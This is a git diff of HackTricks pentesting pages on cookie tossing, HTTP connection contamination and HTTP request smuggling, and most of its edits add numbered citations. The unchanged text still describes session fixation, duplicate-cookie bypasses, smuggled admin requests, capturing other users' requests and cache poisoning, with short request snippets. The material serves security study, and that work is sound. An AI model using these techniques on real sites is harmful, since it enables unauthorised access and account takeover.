to:[[4]](#references) - **Fixate the cookie of the victim to the attacker's account** so if the user doesn't notice, **he will perform the actions in the attacker's account** and the attacker may obtain some interesting information (check the history of the searches of the user in the platform, the victim may set his credit card in the account...) - - An example of this [can be found here](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) where the attacker set his cookie in specific sections a victim will use to authorize **access to his git repos but from the attackers account** as he will be setting his cookies in the needed endpoints. + - An example of this [can be found here](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) where the attacker set his cookie in specific sections a victim will use to authorize **access to his git repos but from the attackers account** as he will be setting his cookies in the needed endpoints.[[2]](#references) - If the **cookie doesn't change after login**, the attacker may just **fixate a cookie (session-fixation)**, wait until the victim logs in and then **use that cookie to log in as the victim**. - Sometimes, even if the session cookies changes, the attacker use the previous one and he will receive the new one also. - If the **cookie is setting some initial value** (like in flask where the **cookie** may **set** the **CSRF token** of the session and this value will be maintained after the victim logs in), the **attacker may set this known value and then abuse it** (in that scenario, the attacker may then make the user perform a CSRF request as he knows the CSRF token). @@ -26,14 +26,14 @@ When a browser receives two cookies with the same name **partially affecting the Depending on who has **the most specific path** or which one is the **oldest one**, the browser will **set the value of the cookie first** and then the value of the other one like in: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` -Most **websites will only use the first value**. Then, if an attacker wants to set a cookie it's better to set it before another one is set or set it with a more specific path. +Most **websites will only use the first value**. Then, if an attacker wants to set a cookie it's better to set it before another one is set or set it with a more specific path.[[3]](#references) > [!WARNING] > Moreover, the capability to **set a cookie in a more specific path** is very interesting as you will be able to make the **victim work with his cookie except in the specific path where the malicious cookie set will be sent before**. ### Protection Bypass -Possible protection against this attack would be that the **web server won't accept requests with two cookies with the same name but two different values**. +Possible protection against this attack would be that the **web server won't accept requests with two cookies with the same name but two different values**.[[4]](#references) To bypass the scenario where the attacker is setting a cookie after the victim was already given the cookie, the attacker could cause a **cookie overflow** and then, once the **legit cookie is deleted, set the malicious one**. @@ -42,7 +42,7 @@ To bypass the scenario where the attacker is setting a cookie after the victim w cookie-jar-overflow.md {{#endref}} -Another useful **bypass** could be to **URL encode the name of the cookie** as some protections check for 2 cookies with the same name in a request and then the server will decode the names of the cookies. +Another useful **bypass** could be to **URL encode the name of the cookie** as some protections check for 2 cookies with the same name in a request and then the server will decode the names of the cookies.[[4]](#references) ### Cookie Bomb @@ -60,13 +60,12 @@ cookie-bomb.md - If a cookie name has this prefix, it **will only be accepted** in a Set-Cookie directive if it is marked Secure, was sent from a secure origin, does not include a Domain attribute, and has the Path attribute set to / - **This prevents subdomains from forcing a cookie to the apex domain since these cookies can be seen as "domain-locked"** -### References +## References -- [**@blueminimal**](https://twitter.com/blueminimal) -- [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers) -- [**https://github.blog/2013-04-09-yummy-cookies-across-domains/**](https://github.blog/2013-04-09-yummy-cookies-across-domains/) -- [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) +- [1] [**@blueminimal**](https://twitter.com/blueminimal) +- [2] [Hijacking OAuth flows via cookie tossing](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) +- [3] [**The Cookie Monster in Your Browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers) +- [4] [**Yummy cookies across domains**](https://github.blog/2013-04-09-yummy-cookies-across-domains/) +- [5] [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-web/http-connection-contamination.md b/src/pentesting-web/http-connection-contamination.md index 3858047f1d0..77defbfcf65 100644 --- a/src/pentesting-web/http-connection-contamination.md +++ b/src/pentesting-web/http-connection-contamination.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -**This is a summary of the post: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. Check it for further details! +**This is a summary of the post: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. Check it for further details![[1]](#references) Web browsers can reuse a single HTTP/2+ connection for different websites through [HTTP connection coalescing](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), given shared IP addresses and a common TLS certificate. However, this can conflict with **first-request routing** in reverse-proxies, where subsequent requests are directed to the back-end determined by the first request. This misrouting can lead to security vulnerabilities, particularly when combined with wildcard TLS certificates and domains like `*.example.com`. @@ -20,9 +20,11 @@ fetch("//sub1.hackxor.net/", { mode: "no-cors", credentials: "include" }).then( The threat is currently limited due to the rarity of first-request routing and the complexity of HTTP/2. However, the proposed changes in HTTP/3, which relax the IP address match requirement, could broaden the attack surface, making servers with a wildcard certificate more vulnerable without needing a MITM attack. -Best practices include avoiding first-request routing in reverse proxies and being cautious with wildcard TLS certificates, especially with the advent of HTTP/3. Regular testing and awareness of these complex, interconnected vulnerabilities are crucial for maintaining web security. +Best practices include avoiding first-request routing in reverse proxies and being cautious with wildcard TLS certificates, especially with the advent of HTTP/3. Regular testing and awareness of these complex, interconnected vulnerabilities are crucial for maintaining web security.[[1]](#references) -{{#include ../banners/hacktricks-training.md}} +## References +- [1] [HTTP/3 Connection Contamination](https://portswigger.net/research/http-3-connection-contamination) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-connection-request-smuggling.md b/src/pentesting-web/http-connection-request-smuggling.md index c1d29068ea3..4d361df903b 100644 --- a/src/pentesting-web/http-connection-request-smuggling.md +++ b/src/pentesting-web/http-connection-request-smuggling.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -**HTTP connection request smuggling** is a **connection-state / routing** problem rather than a classic CL.TE/TE.CL parser discrepancy. The bug appears when a front-end decides **where a connection is allowed to go only once**, then silently reuses that same TCP/TLS connection for later requests with a different `Host` or `:authority`. +**HTTP connection request smuggling** is a **connection-state / routing** problem rather than a classic CL.TE/TE.CL parser discrepancy. The bug appears when a front-end decides **where a connection is allowed to go only once**, then silently reuses that same TCP/TLS connection for later requests with a different `Host` or `:authority`.[[1]](#references)[[2]](#references) If you need the classic length-confusion variants, see [HTTP Request Smuggling / HTTP Desync Attack](http-request-smuggling/README.md) and [Request Smuggling in HTTP/2 Downgrades](http-request-smuggling/request-smuggling-in-http-2-downgrades.md). @@ -20,7 +20,7 @@ GET /admin HTTP/1.1 Host: internal-only.example ``` -This turns connection reuse into an SSRF-like primitive against **internal virtual hosts**, admin panels, debug routes, and alternate tenants sharing the same edge. +This turns connection reuse into an SSRF-like primitive against **internal virtual hosts**, admin panels, debug routes, and alternate tenants sharing the same edge.[[1]](#references) ### First-request Routing @@ -47,7 +47,7 @@ Host: private.internal ## Browser-Powered Connection-State Abuse (2022-2025) -The most practical modern variant is **browser-powered** exploitation. A victim first opens a legitimate connection to an attacker-controlled or attacker-triggered origin, and the browser later **reuses or coalesces** that connection for a different authority. +The most practical modern variant is **browser-powered** exploitation. A victim first opens a legitimate connection to an attacker-controlled or attacker-triggered origin, and the browser later **reuses or coalesces** that connection for a different authority.[[1]](#references) ### Coalescing preconditions worth checking @@ -137,7 +137,7 @@ This is worth testing on reverse proxies that support upgrade-style tunnelling o ## References -- [PortSwigger Research - Browser-Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks) -- [PortSwigger Research - HTTP/1.1 must die: the desync endgame](https://portswigger.net/research/http1-must-die) +- [1] [PortSwigger Research - Browser-Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks) +- [2] [PortSwigger Research - HTTP/1.1 must die: the desync endgame](https://portswigger.net/research/http1-must-die) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 33eaf6d5d5c..ee11ca2941b 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -6,7 +6,7 @@ ## What is This vulnerability occurs when a **desyncronization** between **front-end proxies** and the **back-end** server allows an **attacker** to **send** an HTTP **request** that will be **interpreted** as a **single request** by the **front-end** proxies (load balance/reverse-proxy) and **as 2 request** by the **back-end** server.\ -This allows a user to **modify the next request that arrives to the back-end server after his**. +This allows a user to **modify the next request that arrives to the back-end server after his**.[[1]](#references) ### Theory @@ -40,7 +40,7 @@ Remember that in HTTP **a new line character is composed by 2 bytes:** The main proble with http/1.1 is that all the requests go in the same TCP socket, so if a discrpancy is found between 2 systems receiving requests it's possible to send one request that will be reated as 2 different requests (or more) by the final backend (or even intermediary systems). -**[This blog post](https://portswigger.net/research/http1-must-die)** proposes new ways to detect desync attacks to a system that won't be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything. +**[This blog post](https://portswigger.net/research/http1-must-die)** proposes new ways to detect desync attacks to a system that won't be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything.[[15]](#references) For example, sending a request with the normal host header and a " host" header, if the backend complains about this request (maybe becasue the value of " host" is incorrect) it possible means that the front-end didn't see about the " host" header while the final backend did use it, higly probale implaying a desync between front-end and backend. @@ -50,7 +50,7 @@ If the front-end would have taken into account the " host" header but the front- For example, this allowed to discover desyncs between AWS ALB as front-end and IIS as the backend. This was because when the "Host: foo/bar" was sent, the ALB returned `400, Server; awselb/2.0`, but when "Host : foo/bar" was sent, it returned `400, Server: Microsoft-HTTPAPI/2.0`, indicating the backend was sending the response. This is a Hidden-Vissible (H-V) situation. -Note that this situation is not corrected in the AWS, but it can be prevented setting `routing.http.drop_invalid_header_fields.enabled` and `routing.http.desync_mitigation_mode = strictest`. +Note that this situation is not corrected in the AWS, but it can be prevented setting `routing.http.drop_invalid_header_fields.enabled` and `routing.http.desync_mitigation_mode = strictest`.[[15]](#references) ## Basic Examples @@ -58,7 +58,7 @@ Note that this situation is not corrected in the AWS, but it can be prevented se > [!TIP] > When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths. -HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. These attacks can manifest in different forms, primarily as **CL.TE**, **TE.CL**, and **TE.TE**. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes. +HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. These attacks can manifest in different forms, primarily as **CL.TE**, **TE.CL**, and **TE.TE**. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.[[1]](#references) ### Basic Examples of Vulnerability Types @@ -180,7 +180,7 @@ HTTP request smuggling attacks are crafted by sending ambiguous requests that ex #### TE.0 Scenario - Like the previous one but using TE -- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) +- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)[[9]](#references) - **Example**: ``` @@ -227,13 +227,13 @@ Host: This is useful to cause a desync, but it won't have any impact until now. -However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**. +However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.[[15]](#references) #### Breaking the web server This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**. -For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**. +For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.[[10]](#references) #### Forcing via hop-by-hop headers @@ -252,7 +252,7 @@ For **more information about hop-by-hop headers** visit: ## Finding HTTP Request Smuggling -Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities: +Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities:[[2]](#references) ### Finding CL.TE Vulnerabilities Using Timing Techniques @@ -338,7 +338,7 @@ When testing for request smuggling vulnerabilities by interfering with other req ## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling -Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync. +Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.[[11]](#references)[[12]](#references) ### Why pipelining creates classic false positives @@ -399,7 +399,7 @@ Impact: none. You just desynced your client from the server framing. - Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact. 3. Partial-requests probe for connection-locked front-ends - Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse. - - See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique. + - See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.[[13]](#references) 4. State probes - Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation). - Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this. @@ -429,7 +429,7 @@ Some front-ends only reuse the upstream connection when the client reuses theirs ### Client‑side desync constraints -If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses. +If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.[[14]](#references) For background and end-to-end workflows: @@ -451,7 +451,7 @@ browser-http-request-smuggling.md ### Circumventing Front-End Security via HTTP Request Smuggling -Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions. +Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.[[3]](#references) Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy: @@ -498,7 +498,7 @@ Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encod ### Revealing front-end request rewriting -Applications often employ a **front-end server** to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as `X-Forwarded-For: `, to relay the client's IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to **bypass protections** or **uncover concealed information or endpoints**. +Applications often employ a **front-end server** to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as `X-Forwarded-For: `, to relay the client's IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to **bypass protections** or **uncover concealed information or endpoints**.[[3]](#references) To investigate how a proxy alters a request, locate a POST parameter that the back-end echoes in the response. Then, craft a request, using this parameter last, similar to the following: @@ -529,7 +529,7 @@ This method primarily serves to understand the request modifications made by the ### Capturing other users' requests -It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished: +It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished:[[3]](#references) By appending the following request as the value of a parameter, you can store the subsequent client's request: @@ -564,7 +564,7 @@ Additionally, it's worth noting that this approach is also viable with a TE.CL v HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages: - Interaction with the target users is **not required**. -- Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers. +- Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.[[3]](#references) In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability: @@ -608,7 +608,7 @@ In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with ### Exploiting On-site Redirects with HTTP Request Smuggling -Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash: +Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:[[3]](#references) ``` GET /home HTTP/1.1 @@ -658,7 +658,7 @@ In this scenario, a user's request for a JavaScript file is hijacked. The attack ### Exploiting Web Cache Poisoning via HTTP Request Smuggling -Web cache poisoning can be executed if any component of the **front-end infrastructure caches content**, typically to enhance performance. By manipulating the server's response, it's possible to **poison the cache**. +Web cache poisoning can be executed if any component of the **front-end infrastructure caches content**, typically to enhance performance. By manipulating the server's response, it's possible to **poison the cache**.[[3]](#references) Previously, we observed how server responses could be altered to return a 404 error (refer to [Basic Examples](#basic-examples)). Similarly, it’s feasible to trick the server into delivering `/index.html` content in response to a request for `/static/include.js`. Consequently, the `/static/include.js` content gets replaced in the cache with that of `/index.html`, rendering `/static/include.js` inaccessible to users, potentially leading to a Denial of Service (DoS). @@ -695,7 +695,7 @@ Subsequently, any request for `/static/include.js` will serve the cached content > **What is the difference between web cache poisoning and web cache deception?** > > - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. -> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache. +> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.[[3]](#references) The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example: @@ -714,7 +714,7 @@ If this smuggled request poisons a cache entry intended for static content (e.g. ### Abusing TRACE via HTTP Request Smuggling -[**In this post**](https://portswigger.net/research/trace-desync-attack) is suggested that if the server has the method TRACE enabled it could be possible to abuse it with a HTTP Request Smuggling. This is because this method will reflect any header sent to the server as part of the body of the response. For example: +[**In this post**](https://portswigger.net/research/trace-desync-attack) is suggested that if the server has the method TRACE enabled it could be possible to abuse it with a HTTP Request Smuggling. This is because this method will reflect any header sent to the server as part of the body of the response. For example:[[8]](#references) ``` TRACE / HTTP/1.1 @@ -741,7 +741,7 @@ This response will be sent to the next request over the connection, so this coul ### Abusing TRACE via HTTP Response Splitting -Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request. +Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.[[8]](#references) Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning). @@ -818,7 +818,7 @@ request-smuggling-in-http-2-downgrades.md ### CL.TE -From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) +From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)[[20]](#references) ```python def queueRequests(target, wordlists): @@ -861,7 +861,7 @@ def handleResponse(req, interesting): ### TE.CL -From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) +From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)[[21]](#references) ```python def queueRequests(target, wordlists): @@ -907,7 +907,7 @@ def handleResponse(req, interesting): ## Reverse-proxy parsing footguns (Pingora 2026) -Several 2026 Pingora bugs are useful because they show **desync primitives beyond classic CL.TE / TE.CL**. The reusable lesson is: whenever a proxy **stops parsing too early**, **normalizes `Transfer-Encoding` differently from the backend**, or **falls back to read-until-close for request bodies**, you may get FE↔BE desync even without a traditional CL/TE ambiguity. +Several 2026 Pingora bugs are useful because they show **desync primitives beyond classic CL.TE / TE.CL**. The reusable lesson is: whenever a proxy **stops parsing too early**, **normalizes `Transfer-Encoding` differently from the backend**, or **falls back to read-until-close for request bodies**, you may get FE↔BE desync even without a traditional CL/TE ambiguity.[[16]](#references)[[17]](#references)[[18]](#references)[[19]](#references) ### Premature `Upgrade` passthrough @@ -1017,24 +1017,27 @@ When reviewing caches, confirm that the key includes at least: ## References -- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) -- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding) -- [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting) -- [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4) -- [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/) -- [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html) -- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) -- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) -- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -- Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) -- [https://http1mustdie.com/](https://http1mustdie.com/) -- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) -- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) -- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die) -- [https://xclow3n.github.io/post/6/](https://xclow3n.github.io/post/6/) -- [https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv](https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv) -- [https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7](https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7) -- [https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc](https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc) +- [1] [PortSwigger - HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling) +- [2] [PortSwigger - Finding HTTP Request Smuggling Vulnerabilities](https://portswigger.net/web-security/request-smuggling/finding) +- [3] [PortSwigger - Exploiting HTTP Request Smuggling Vulnerabilities](https://portswigger.net/web-security/request-smuggling/exploiting) +- [4] [HTTP Request Smuggling in Plain English](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4) +- [5] [GitHub - haroonawanofficial/HTTP-Desync-Attack](https://github.com/haroonawanofficial/HTTP-Desync-Attack/) +- [6] [HTTP Request Smuggling CL-TE](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html) +- [7] [HTTP Request Smuggling via Higher HTTP Versions (Standoff 365)](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) +- [8] [PortSwigger Research - TRACE Desync Attack](https://portswigger.net/research/trace-desync-attack) +- [9] [Bugcrowd - Unveiling TE.0 HTTP Request Smuggling: Discovering a Critical Vulnerability in Thousands of Google Cloud Websites](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) +- [10] [Twisty Python (mizu.re)](https://mizu.re/post/twisty-python) +- [11] [PortSwigger Research - Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) +- [12] [HTTP/1 Must Die](https://http1mustdie.com/) +- [13] [PortSwigger Research - Browser‑Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks) +- [14] [PortSwigger Academy - Client‑Side Desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) +- [15] [PortSwigger Research - HTTP/1 Must Die: The Desync Endgame](https://portswigger.net/research/http1-must-die) +- [16] [xclow3n - Breaking Pingora: HTTP Request Smuggling & Cache Poisoning](https://xclow3n.github.io/post/6/) +- [17] [Cloudflare Pingora Security Advisory GHSA-xq2h-p299-vjwv](https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv) +- [18] [Cloudflare Pingora Security Advisory GHSA-hj7x-879w-vrp7](https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7) +- [19] [Cloudflare Pingora Security Advisory GHSA-f93w-pcj3-rggc](https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc) +- [20] [hipotermia.pw - HTTP Desync IDOR (Turbo Intruder CL.TE script)](https://hipotermia.pw/bb/http-desync-idor) +- [21] [hipotermia.pw - HTTP Desync Account Takeover (Turbo Intruder TE.CL script)](https://hipotermia.pw/bb/http-desync-account-takeover) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md b/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md index fd8bec4309f..5ec93f57570 100644 --- a/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md +++ b/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md @@ -2,22 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -Browser-powered desync (aka client-side request smuggling) abuses the victim’s browser to enqueue a mis-framed request onto a shared connection so that subsequent requests are parsed out-of-sync by a downstream component. Unlike classic FE↔BE smuggling, payloads are constrained by what a browser can legally send cross-origin. +Browser-powered desync (aka client-side request smuggling) abuses the victim’s browser to enqueue a mis-framed request onto a shared connection so that subsequent requests are parsed out-of-sync by a downstream component. Unlike classic FE↔BE smuggling, payloads are constrained by what a browser can legally send cross-origin.[[1]](#references)[[2]](#references) Key constraints and tips - Only use headers and syntax that a browser can emit via navigation, fetch, or form submission. Header obfuscations (LWS tricks, duplicate TE, invalid CL) generally won’t send. - Target endpoints and intermediaries that reflect inputs or cache responses. Useful impacts include cache poisoning, leaking front-end injected headers, or bypassing front-end path/method controls. - Reuse matters: align the crafted request so it shares the same HTTP/1.1 or H2 connection as a high-value victim request. Connection-locked/stateful behaviors amplify impact. - Prefer primitives that do not require custom headers: path confusion, query-string injection, and body shaping via form-encoded POSTs. -- Validate genuine server-side desync vs. mere pipelining artifacts by re-testing without reuse, or by using the HTTP/2 nested-response check. +- Validate genuine server-side desync vs. mere pipelining artifacts by re-testing without reuse, or by using the HTTP/2 nested-response check.[[3]](#references) For end-to-end techniques and PoCs see: - PortSwigger Research – Browser‑Powered Desync Attacks: https://portswigger.net/research/browser-powered-desync-attacks - PortSwigger Academy – client‑side desync: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync ## References -- [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) -- [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) -- Distinguishing pipelining vs smuggling (background on reuse false-positives): https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling + +- [1] [PortSwigger Research - Browser‑Powered Desync 